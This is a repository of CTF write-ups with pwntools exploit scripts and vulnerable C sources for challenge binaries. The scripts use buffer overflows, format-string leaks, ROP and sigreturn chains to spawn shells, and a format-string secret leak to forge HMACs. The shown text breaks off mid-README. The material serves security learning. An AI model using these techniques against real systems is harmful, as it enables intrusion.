├── TamuCTF2K24
└── rift
│ ├── flag.txt
│ ├── rift
│ ├── ld-2.28.so
│ ├── libc.so.6
│ ├── rift_patched
│ ├── description.png
│ ├── rift.c
│ ├── solve.py
│ └── README.md
├── README.md
├── HackINI2k23
├── flag.jpg
├── write_what_where
│ ├── chall
│ ├── chall.png
│ ├── permissions.png
│ ├── challenge.c
│ ├── exploit.py
│ └── README.md
└── README.md
├── shellmates
├── camel
│ ├── camel
│ ├── camel.png
│ ├── ride_the_camel.ml
│ └── README.md
├── birdy-pwn
│ ├── birdy
│ ├── ld-2.27.so
│ ├── libc-2.27.so
│ ├── solve.py
│ └── README.md
├── circuit
│ ├── circuit.png
│ ├── secret.enc
│ ├── decrypt.py
│ └── README.md
├── fake shell
│ ├── terminal
│ ├── fakeshell.jpg
│ ├── libc-2.27.so
│ ├── exploit.py
│ ├── terminal.h
│ ├── README.md
│ └── terminal.c
├── hello_wasm
│ ├── flag.png
│ ├── reverse.png
│ ├── hellowasm.png
│ ├── 79e1d51c6a58e66a153c.module.wasm
│ └── README.md
├── tictoctou
│ ├── tictoctou.jpeg
│ ├── README.md
│ └── tictoctou.c
├── slippery-rope
│ ├── slippery-rope
│ ├── exploit.py
│ └── README.md
├── tr0ll_gu3ssing
│ ├── tr0ll_gu3ssing
│ ├── tr0ll_gu3ssing.jpg
│ ├── exploit.py
│ └── README.md
├── FileErudite-web_misc
│ ├── fileerudite.png
│ ├── app.py
│ └── README.md
└── authy-shell
│ ├── exploit.py
│ └── README.md
├── unitedctf-2021
├── logo.png
├── solve.py
├── simple_notes.c
└── README.md
├── ijctf2020
└── vault
│ ├── flag.png
│ ├── hint.png
│ ├── lock.png
│ ├── vault.png
│ ├── script.py
│ └── README.md
├── BSides-Algiers-2023
├── libc.so.6
├── chall_patched
├── description.png
├── ld-linux-x86-64.so.2
├── exploit.py
└── README.md
├── dawgctf2020
├── bof to the top
│ ├── bof
│ ├── exploit.py
│ ├── bof.c
│ └── README.md
├── cookie_monster
│ ├── cookie_monster
│ ├── exploit.py
│ └── README.md
└── tom nook the capitalist racoon
│ ├── script.py
│ └── README.md
├── MicroCTF-Quals-2021
├── lottery
│ ├── lottery
│ ├── solve.py
│ └── README.md
├── scoreboard.png
├── README.md
└── sudopwn
│ ├── solve.py
│ ├── sudopwn.c
│ └── README.md
├── Alphactf2k23
└── Note_keeper_2
│ ├── libc.so.6
│ ├── new_chall_patched
│ ├── ld-linux-x86-64.so.2
│ ├── exploit.py
│ ├── README.md
│ └── .gdb_history
└── BSides-Algiers-2021-finals
├── scoreboard.png
├── safefree
├── safefree.png
├── solve.py
└── README.md
└── README.md
/TamuCTF2K24/rift/flag.txt:
--------------------------------------------------------------------------------
1 | gigem{ropping_in_style}
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CTFwriteups
2 | a repository for ctf write-ups
3 |
--------------------------------------------------------------------------------
/HackINI2k23/flag.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/flag.jpg
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/rift:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/rift
--------------------------------------------------------------------------------
/shellmates/camel/camel:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/camel/camel
--------------------------------------------------------------------------------
/unitedctf-2021/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/unitedctf-2021/logo.png
--------------------------------------------------------------------------------
/ijctf2020/vault/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/flag.png
--------------------------------------------------------------------------------
/ijctf2020/vault/hint.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/hint.png
--------------------------------------------------------------------------------
/ijctf2020/vault/lock.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/lock.png
--------------------------------------------------------------------------------
/ijctf2020/vault/vault.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/vault.png
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/ld-2.28.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/ld-2.28.so
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/libc.so.6
--------------------------------------------------------------------------------
/shellmates/birdy-pwn/birdy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/birdy
--------------------------------------------------------------------------------
/shellmates/camel/camel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/camel/camel.png
--------------------------------------------------------------------------------
/BSides-Algiers-2023/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/libc.so.6
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/rift_patched:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/rift_patched
--------------------------------------------------------------------------------
/dawgctf2020/bof to the top/bof:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/dawgctf2020/bof to the top/bof
--------------------------------------------------------------------------------
/shellmates/circuit/circuit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/circuit/circuit.png
--------------------------------------------------------------------------------
/shellmates/circuit/secret.enc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/circuit/secret.enc
--------------------------------------------------------------------------------
/shellmates/fake shell/terminal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/terminal
--------------------------------------------------------------------------------
/shellmates/hello_wasm/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/flag.png
--------------------------------------------------------------------------------
/BSides-Algiers-2023/chall_patched:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/chall_patched
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/description.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/description.png
--------------------------------------------------------------------------------
/shellmates/birdy-pwn/ld-2.27.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/ld-2.27.so
--------------------------------------------------------------------------------
/shellmates/birdy-pwn/libc-2.27.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/libc-2.27.so
--------------------------------------------------------------------------------
/shellmates/hello_wasm/reverse.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/reverse.png
--------------------------------------------------------------------------------
/BSides-Algiers-2023/description.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/description.png
--------------------------------------------------------------------------------
/HackINI2k23/write_what_where/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/chall
--------------------------------------------------------------------------------
/MicroCTF-Quals-2021/lottery/lottery:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/MicroCTF-Quals-2021/lottery/lottery
--------------------------------------------------------------------------------
/MicroCTF-Quals-2021/scoreboard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/MicroCTF-Quals-2021/scoreboard.png
--------------------------------------------------------------------------------
/shellmates/fake shell/fakeshell.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/fakeshell.jpg
--------------------------------------------------------------------------------
/shellmates/fake shell/libc-2.27.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/libc-2.27.so
--------------------------------------------------------------------------------
/shellmates/hello_wasm/hellowasm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/hellowasm.png
--------------------------------------------------------------------------------
/shellmates/tictoctou/tictoctou.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tictoctou/tictoctou.jpeg
--------------------------------------------------------------------------------
/Alphactf2k23/Note_keeper_2/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/libc.so.6
--------------------------------------------------------------------------------
/HackINI2k23/write_what_where/chall.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/chall.png
--------------------------------------------------------------------------------
/shellmates/slippery-rope/slippery-rope:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/slippery-rope/slippery-rope
--------------------------------------------------------------------------------
/BSides-Algiers-2023/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing
--------------------------------------------------------------------------------
/BSides-Algiers-2021-finals/scoreboard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2021-finals/scoreboard.png
--------------------------------------------------------------------------------
/MicroCTF-Quals-2021/README.md:
--------------------------------------------------------------------------------
1 | # MicroCTF-Quals-2021
2 |
3 | I played with Th3jackers, we got second place.
4 |
5 | 
6 |
--------------------------------------------------------------------------------
/dawgctf2020/cookie_monster/cookie_monster:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/dawgctf2020/cookie_monster/cookie_monster
--------------------------------------------------------------------------------
/Alphactf2k23/Note_keeper_2/new_chall_patched:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/new_chall_patched
--------------------------------------------------------------------------------
/HackINI2k23/write_what_where/permissions.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/permissions.png
--------------------------------------------------------------------------------
/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing.jpg
--------------------------------------------------------------------------------
/Alphactf2k23/Note_keeper_2/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/BSides-Algiers-2021-finals/safefree/safefree.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2021-finals/safefree/safefree.png
--------------------------------------------------------------------------------
/shellmates/FileErudite-web_misc/fileerudite.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/FileErudite-web_misc/fileerudite.png
--------------------------------------------------------------------------------
/BSides-Algiers-2021-finals/README.md:
--------------------------------------------------------------------------------
1 | # BSides-Algiers-2021-finals
2 |
3 | I played with Th3jackers, we got the 1st place.
4 |
5 | 
6 |
--------------------------------------------------------------------------------
/shellmates/hello_wasm/79e1d51c6a58e66a153c.module.wasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/79e1d51c6a58e66a153c.module.wasm
--------------------------------------------------------------------------------
/HackINI2k23/README.md:
--------------------------------------------------------------------------------
1 | # HackINI 2k23, 11th edition
2 |
3 | We didn't compete in this CTF, went just to chill & have fun
4 | Played only this one challenge cuz it seemed interesting
5 |
6 | 
7 |
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/rift.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int upkeep() {
4 | setvbuf(stdin, NULL, _IONBF, 0);
5 | setvbuf(stdout, NULL, _IONBF, 0);
6 | setvbuf(stderr, NULL, _IONBF, 0);
7 | }
8 |
9 | char buf[64];
10 |
11 | void vuln() {
12 | int always_true = 1;
13 | while (always_true) {
14 | fgets(buf, sizeof(buf), stdin);
15 | printf(buf);
16 | }
17 | }
18 |
19 | int main() {
20 | upkeep();
21 | vuln();
22 | }
23 |
--------------------------------------------------------------------------------
/ijctf2020/vault/script.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | import random
3 |
4 |
5 | num_list = []
6 | num_list.append(['0', '1'])
7 | num_list.append(['4', '5', '6'])
8 | num_list.append(['5', '6', '7', '8', '9'])
9 | num_list.append(['1', '2', '3', '4'])
10 | num_list.append(['0', '1', '2', '5', '8', '9'])
11 | num_list.append(['0', '1'])
12 |
13 |
14 | for l in num_list:
15 | code = ''
16 | for i in range(2000):
17 | code += random.choice(l)
18 | print code
19 |
--------------------------------------------------------------------------------
/dawgctf2020/bof to the top/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | from pwn import *
3 | import sys
4 |
5 | audition = p32(0x08049182)
6 | time = p32(0x4b0)
7 | room_num = p32(0x16e)
8 | payload = 'a'* 112 + audition + 'a'*4 + time + room_num
9 |
10 | if len(sys.argv) == 1:
11 | conn = remote('ctf.umbccd.io', 4000)
12 | else:
13 | conn = process('./bof')
14 |
15 | conn.sendlineafter('?', 'name')
16 | conn.sendlineafter('?', payload)
17 | print conn.recvall()
18 | conn.close
19 |
--------------------------------------------------------------------------------
/dawgctf2020/tom nook the capitalist racoon/script.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from pwn import *
4 |
5 |
6 | conn = remote('ctf.umbccd.io', 4400)
7 |
8 | #to sell all the items
9 | for i in range(1,5):
10 | conn.sendline('1')
11 | conn.sendline(str(i))
12 |
13 | #to buy an item
14 | conn.sendline('2')
15 | conn.sendline('2')
16 |
17 | #keeps selling to accumulate money
18 | for i in range(55):
19 | conn.sendline('1')
20 | conn.sendline('1')
21 |
22 | #buy the flag
23 | conn.sendline('2')
24 | conn.sendline('6')
25 | conn.sendline('1')
26 |
27 | print conn.recvline_contains('DawgCTF')
28 | conn.close()
29 |
--------------------------------------------------------------------------------
/shellmates/tr0ll_gu3ssing/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 |
5 | log.info(ELF("./tr0ll_gu3ssing").checksec())
6 |
7 | io = remote('3.91.133.232', 4001)
8 |
9 | system_gadget = p32(0x400870)
10 |
11 | log.info('Overwriting the return address with system() gadget address')
12 | io.sendline('A'*0x48 + str(system_gadget))
13 |
14 | log.info('Overwriting the string "/bin/cat flag.txt" with "/bin/bash\0"')
15 | io.sendline('A'*0x20 + '/bin/bash')
16 |
17 | log.info('Sending the 3rd password to break the loop')
18 | io.sendline('IQ0RiDmPhQKcCi4RSXvK75mHxor2y6t')
19 |
20 | io.interactive()
21 | io.close()
22 |
--------------------------------------------------------------------------------
/dawgctf2020/cookie_monster/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from pwn import *
4 | import sys
5 |
6 | if len(sys.argv) == 1:
7 | conn = remote('ctf.umbccd.io', 4200)
8 | else:
9 | conn = process('./cookie_monster')
10 |
11 | conn.sendlineafter('?', '%9$lx')
12 | conn.recvuntil('Hello, ')
13 | canary = p32(int(conn.recv(8), 16))
14 | conn.close()
15 |
16 | conn = process('./cookie_monster')
17 | conn.sendlineafter('?', '%11$lx')
18 | conn.recvuntil('Hello, ')
19 | ret = p64(int(conn.recv(12), 16) - 0x19a)
20 | payload = 'a'*13 + canary + 'a'*8 + ret
21 | conn.sendlineafter('?', payload)
22 | print conn.recvall()
23 | conn.close()
24 |
--------------------------------------------------------------------------------
/dawgctf2020/bof to the top/bof.c:
--------------------------------------------------------------------------------
1 | #include "stdio.h"
2 | #include "string.h"
3 | #include "stdlib.h"
4 |
5 | // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof
6 |
7 | void audition(int time, int room_num){
8 | char* flag = "/bin/cat flag.txt";
9 | if(time == 1200 && room_num == 366){
10 | system(flag);
11 | }
12 | }
13 |
14 | void get_audition_info(){
15 | char name[50];
16 | char song[50];
17 | printf("What's your name?\n");
18 | gets(name);
19 | printf("What song will you be singing?\n");
20 | gets(song);
21 | }
22 |
23 | void welcome(){
24 | printf("Welcome to East High!\n");
25 | printf("We're the Wildcats and getting ready for our spring musical\n");
26 | printf("We're now accepting signups for auditions!\n");
27 | }
28 |
29 | int main(){
30 | welcome();
31 | get_audition_info();
32 | return 0;
33 | }
34 |
--------------------------------------------------------------------------------
/shellmates/slippery-rope/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from pwn import *
4 |
5 | exe = ELF("./slippery-rope")
6 | context.binary = exe
7 |
8 | pop_rax_ret = 0x4001b5
9 | syscall_ret = 0x4001b1
10 |
11 | def conn():
12 | if args.LOCAL:
13 | return process([exe.path])
14 | else:
15 | return remote("pwn.hfz-1337.ninja", 1337)
16 |
17 |
18 | def main():
19 | r = conn()
20 |
21 | #fake frame to set the registers
22 | frame = SigreturnFrame()
23 | frame.rax = 59 # the execve syscall
24 | frame.rdi = 0x6001cc # the address of '/bin/sh\0'
25 | frame.rsi = 0
26 | frame.rdx = 0
27 | frame.rip = syscall_ret
28 |
29 | payload = '/bin/bash\0'.ljust(208, 'a')
30 | payload += p64(pop_rax_ret)
31 | payload += p64(15) #the sigreturn syscall
32 | payload += p64(syscall_ret)
33 | payload += str(frame)
34 |
35 | r.recvuntil('> ')
36 | r.sendline(payload)
37 | r.interactive()
38 |
39 | if __name__ == "__main__":
40 | main()
41 |
--------------------------------------------------------------------------------
/shellmates/circuit/decrypt.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | with open('secret.enc') as f:
4 | ct = f.read()
5 | f.close()
6 |
7 |
8 | for key in range(255):
9 | pt = ''
10 | for c in ct:
11 | i = ord(c)
12 |
13 | b = 0
14 | b += 0 if ((i & 32 )^(key & 32 )) else 16
15 | b += 0 if ((i & 16 )^(key & 16 )) else 32
16 | b += 0 if ((i & 128)^(key & 128)) else 64
17 | b += 0 if ((i & 64 )^(key & 64 )) else 128
18 |
19 | b += 1 if (((i & 2)^(key & 2)) and b & 128) or (not ((i & 2)^(key & 2)) and not b & 128) else 0
20 | b += 2 if (((i & 1)^(key & 1)) and b & 64 ) or (not ((i & 1)^(key & 1)) and not b & 64 ) else 0
21 | b += 4 if (((i & 8)^(key & 8)) and b & 32 ) or (not ((i & 8)^(key & 8)) and not b & 32 ) else 0
22 | b += 8 if (((i & 4)^(key & 4)) and b & 16 ) or (not ((i & 4)^(key & 4)) and not b & 16 ) else 0
23 |
24 | pt += chr(b)
25 |
26 | if 'shellmates' in pt:
27 | print 'secret key : ' + str(key)
28 | print 'message : \n' + pt
29 |
--------------------------------------------------------------------------------
/shellmates/authy-shell/exploit.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from ast import literal_eval
3 | import hmac
4 |
5 | attribute = '{1.__init__.__func__.__globals__[SECRET]}'
6 | cmd = b'cat flag.txt'
7 |
8 | def parse(sec):
9 | i = 2
10 | parsed = ''
11 | while i < len(sec)-1:
12 | if sec[i:i+2] == '\\x':
13 | parsed += sec[i+2:i+4]
14 | i += 4
15 | else:
16 | parsed += f'{format(ord(sec[i]), "02x")}'
17 | i += 1
18 | return parsed
19 |
20 | def main():
21 | r = remote("138.68.101.239", 6666)
22 | r.sendlineafter('>>> ', '2')
23 | r.sendlineafter('New prompt template: ', attribute)
24 |
25 | r.sendlineafter('>>> ', b'1\n'+cmd)
26 | r.recvuntil("'")
27 | secret = r.recvuntil("'", drop=True)
28 | secret = literal_eval(f'"{secret}"')
29 | secret = parse(secret)
30 | log.info(f'Leaked SECRET : {secret}')
31 | binary_secret = binascii.a2b_hex(secret)
32 |
33 | signature = hmac.new(binary_secret, cmd, hashlib.sha256).hexdigest()
34 | log.info(f'HMAC Signature : {signature}')
35 |
36 | r.sendline(signature)
37 | print(r.recvline())
38 |
39 | if __name__ == "__main__":
40 | main()
41 |
--------------------------------------------------------------------------------
/MicroCTF-Quals-2021/lottery/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 | from ctypes import CDLL
5 |
6 | exe = ELF("./lottery")
7 |
8 | context.binary = exe
9 |
10 | seed_addr = 0x4040F0
11 |
12 | def conn():
13 | if args.LOCAL:
14 | return process([exe.path])
15 | else:
16 | return remote("pwn.ctf.microclub.net", 5003)
17 |
18 | def register(io, age, gender, name):
19 | io.sendline('1')
20 | io.sendline(str(age))
21 | io.sendline(gender)
22 | io.sendline(name)
23 |
24 | def unregister(io):
25 | io.sendline('4')
26 |
27 | def play(io, guess):
28 | io.sendline('2')
29 | io.sendline(str(guess))
30 |
31 | def show_stat(io):
32 | io.recvuntil('>>> ')
33 | io.sendline('3')
34 | io.recvuntil('Current player: Mrs. ')
35 | return int.from_bytes(io.recv(numb=4), "little")
36 |
37 | def main():
38 | r = conn()
39 |
40 | register(r, 22, 'male', 'shell')
41 | unregister(r)
42 | play(r, seed_addr)
43 | seed = (show_stat(r))
44 | libc = CDLL("libc.so.6")
45 | libc.srand(seed)
46 | libc.rand()
47 | play(r, libc.rand())
48 |
49 | r.interactive()
50 |
51 | if __name__ == "__main__":
52 | main()
53 |
--------------------------------------------------------------------------------
/ijctf2020/vault/README.md:
--------------------------------------------------------------------------------
1 | # Vault
2 |
3 | 
4 |
5 | when we dm the bot on discord with "start" it asks for a 7 digit pin composed of 1 and 0.
6 |
7 | 
8 |
9 | the pin is random and it keeps changing so we can't brutforce it, let's check the hint.
10 |
11 | 
12 |
13 | the bot simply checks if the right pin is in the input message, so we can just generate a long
14 | message randomly with the provided digits and send it, the discord message length is 2000 chars
15 | so it's long enough to guess the pin, there are 6 levels with different digits
16 | here is a small script that generates the messages.
17 |
18 | 
19 | ```python
20 | #!/usr/bin/python2
21 | import random
22 |
23 |
24 | num_list = []
25 | num_list.append(['0', '1'])
26 | num_list.append(['4', '5', '6'])
27 | num_list.append(['5', '6', '7', '8', '9'])
28 | num_list.append(['1', '2', '3', '4'])
29 | num_list.append(['0', '1', '2', '5', '8', '9'])
30 | num_list.append(['0', '1'])
31 |
32 |
33 | for l in num_list:
34 | code = ''
35 | for i in range(2000):
36 | code += random.choice(l)
37 | print code
38 | ```
39 | # Flag
40 | 
41 |
--------------------------------------------------------------------------------
/MicroCTF-Quals-2021/sudopwn/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 |
5 | exe = ELF("./sudopwn")
6 | libc = ELF("./libc.so.6")
7 | ld = ELF("./ld-2.27.so")
8 |
9 | context.binary = exe
10 | context.terminal = ['st']
11 |
12 | one_gadget_offset = 0x10a41c
13 |
14 | def conn():
15 | if args.LOCAL:
16 | return process(exe.path)
17 | else:
18 | return remote("pwn.ctf.microclub.net", 5004)
19 |
20 | def main():
21 | r = conn()
22 |
23 | log.info('Leaking libc address ...')
24 | r.sendline('3')
25 | r.recvuntil('------+-------+------\n')
26 | numbers = r.recvline().decode("utf-8")
27 | libc__vdso_getcpu = (int(numbers.split(' ')[0]) << 32) + (int(numbers.split(' ')[1]) & 0xffffffff)
28 | log.info(f'Libc__vdso_getcpu address : {hex(libc__vdso_getcpu)}')
29 | libc.address = libc__vdso_getcpu - next(libc.search(b"__vdso_getcpu"))
30 | log.info(f'Libc base address : {hex(libc.address)}')
31 | one_gadget = libc.address + one_gadget_offset
32 | log.info(f'Libc one gadget : {hex(one_gadget)}')
33 | r.sendline('1\n9\n5')
34 | r.sendline(str(one_gadget & 0xffffffff))
35 | r.sendline('5')
36 |
37 | r.interactive()
38 |
39 |
40 | if __name__ == "__main__":
41 | main()
42 |
--------------------------------------------------------------------------------
/shellmates/birdy-pwn/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | elf = ELF("./birdy")
4 | libc = ELF("./libc-2.27.so")
5 |
6 | context.binary = elf
7 |
8 | def conn():
9 | if args.LOCAL:
10 | return process([elf.path])
11 | else:
12 | return remote("138.68.101.239", 1337)
13 |
14 | def main():
15 |
16 | elfrop = ROP(elf)
17 | pop_rsi_popr15_ret = elfrop.find_gadget(["pop rsi", "pop r15", "ret"]).address
18 | pop_rdi_ret = elfrop.find_gadget(["pop rdi", "ret"]).address
19 | name_birdy = elf.sym.name_birdy
20 |
21 | r = conn()
22 |
23 | r.sendlineafter('Quick! What do you name it? ', 'a'*88)
24 | r.recvline()
25 | canary = u64(b'\0' + r.recv(7))
26 | rbp = u64(r.recvline(keepends=False).ljust(8, b'\0'))
27 |
28 | log.info('Leaking stack canary : ' + str(hex(canary)))
29 | log.info('Leaking base pointer : ' + str(hex(rbp)))
30 |
31 | payload = flat(canary, rbp-0x40, pop_rdi_ret, elf.got.puts, elf.plt.puts,
32 | pop_rdi_ret, rbp-0x38, pop_rsi_popr15_ret, 0x100, 0x0, elf.sym.readstr)
33 | payload = payload.ljust(0x58, b'\0')
34 | payload += p64(canary) + p64(rbp-0x88)
35 |
36 | r.send(payload)
37 | r.recvuntil('How do you feel now? ')
38 | libc.address = u64(r.recvline(keepends=False).ljust(8, b'\0')) - libc.sym.puts
39 | log.info('Leaking libc pointer : ' + str(hex(rbp)))
40 | one_gadget = libc.address + 0x4f432
41 | r.sendline(p64(one_gadget).ljust(0x100, b'\0'))
42 |
43 | r.interactive()
44 |
45 | if __name__ == "__main__":
46 | main()
47 |
--------------------------------------------------------------------------------
/dawgctf2020/tom nook the capitalist racoon/README.md:
--------------------------------------------------------------------------------
1 | # Tom nook the capitalist racoon
2 |
3 | this was a C program to buy and sell items, our goal is to buy the flag which is worth 420000 bells
4 |
5 | ```
6 | Timmy: Welcome!
7 | How can I help you today?
8 | 1. I want to sell
9 | 2. What's for sale?
10 | 3. See you later.
11 | Choice: 2
12 |
13 | 8500 bells
14 | Timmy: Here's what we have to sell today.
15 | 1. flimsy net - 400 bells
16 | 2. tarantula - 8000 bells
17 | 3. slingshot - 900 bells
18 | 4. sapling - 640 bells
19 | 5. cherry - 400 bells
20 | 6. flag - 420000 bells
21 | ```
22 |
23 | when interacting with the program using netcat i noticed that if you buy an item and selling again
24 | it doesn't get removed from the inventory, so all we have to do is to buy one item and keep selling it
25 | until we accumulate enough money to buy the flag.
26 |
27 | [script.py](./script.py)
28 | ```python
29 | #!/usr/bin/env python2
30 |
31 | from pwn import *
32 |
33 | conn = remote('ctf.umbccd.io', 4400)
34 |
35 | #to sell all the items
36 | for i in range(1,5):
37 | conn.sendline('1')
38 | conn.sendline(str(i))
39 |
40 | #to buy an item
41 | conn.sendline('2')
42 | conn.sendline('2')
43 |
44 | #keeps selling to accumulate money
45 | for i in range(55):
46 | conn.sendline('1')
47 | conn.sendline('1')
48 |
49 | #buy the flag
50 | conn.sendline('2')
51 | conn.sendline('6')
52 | conn.sendline('1')
53 |
54 | print conn.recvline_contains('DawgCTF')
55 | conn.close()
56 | ```
57 |
58 | ### flag
59 | DawgCTF{1nf1n1t3_t@rantul@$}
60 |
--------------------------------------------------------------------------------
/dawgctf2020/bof to the top/README.md:
--------------------------------------------------------------------------------
1 | # bof to the top
2 |
3 | The `main()` funtion calls `get_audition_info()` which calls `gets()` function that allows buffer overflow
4 |
5 | [bof.c](./bof.c)
6 | ```C
7 | #include "stdio.h"
8 | #include "string.h"
9 | #include "stdlib.h"
10 |
11 | // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof
12 |
13 | void audition(int time, int room_num){
14 | char* flag = "/bin/cat flag.txt";
15 | if(time == 1200 && room_num == 366){
16 | system(flag);
17 | }
18 | }
19 |
20 | void get_audition_info(){
21 | char name[50];
22 | char song[50];
23 | printf("What's your name?\n");
24 | gets(name);
25 | printf("What song will you be singing?\n");
26 | gets(song);
27 | }
28 |
29 | void welcome(){
30 | printf("Welcome to East High!\n");
31 | printf("We're the Wildcats and getting ready for our spring musical\n");
32 | printf("We're now accepting signups for auditions!\n");
33 | }
34 |
35 | int main(){
36 | welcome();
37 | get_audition_info();
38 | return 0;
39 | }
40 | ```
41 |
42 | To exploit this program we have to jump to `audition()` fuctions that requires two integers as arguments
43 | time and room_num, so we have to send junk input followed by `audition()` function address and the two arguments
44 |
45 | [exploit.py](./exploit.py)
46 | ```python
